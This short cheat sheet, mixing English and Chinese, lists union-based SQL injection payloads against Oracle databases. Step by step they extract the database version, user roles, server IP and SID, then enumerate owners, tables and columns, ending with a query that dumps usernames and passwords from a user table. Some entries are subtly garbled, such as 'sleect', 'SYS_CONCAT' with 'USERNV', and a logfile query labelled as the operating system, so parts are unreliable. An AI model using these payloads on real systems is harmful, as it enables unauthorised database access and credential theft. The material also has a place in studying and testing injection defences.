Oracle is more strict about the type of columns, so use null to match any type
The dual table in oracle is a virtual table with one row and one column
Dual is an actual table in Oracle, which can be read by any user
Oracle版本信息：union select null,(select banner from sys.v_$version where rownum=1),null from dual –
Current user permissions: (select *from session_roles)
Current database version: (select banner from sys.v_$version where rownum=1)
Server listening ip: (select utl_inaddr.get_host_address from dual)
Server operating system: (select member from v$logfile where rownum=1)
Server sid: (select instance_name from v$instance)
Current connected user: (select SYS_CONCAT ('USERNV','CURRENT_USER') from dual)
Current user: (SELECT user FROM dual)
查询库名：union sleect null,(select owner from all_tables where rownum=1),null from dual –
union select null,(select owner from all_tables where rownum=1 and owner <>‘SYS’),null from dual–
查询表：union select null,(select table_name from user_tables where rownum=1),null from dual –
union select null,(select table_name from user_tables where rownum=1 and table_name
<>‘T_USER’),null from dual –
查询列：union select null,(select column_name from user_tab_columns where table_name=‘T_USER’ and rownum=1),null from dual –
union select null,(select column_name from user_tab_columns where table_name=‘T_USER’ and column_name<>‘SUSER’ and rownum=1),null from dual –
union select null,(select column_name from user_tab_columns where table_name=‘T_USER’ and column_name<>‘SUSER’ and column_name<>‘SPWD’ and rownum=1),null from dual –
Query data: union select null,(SELECT CONCAT(SNAME,SUSER,SPWD) FROM T_USER), null from dual –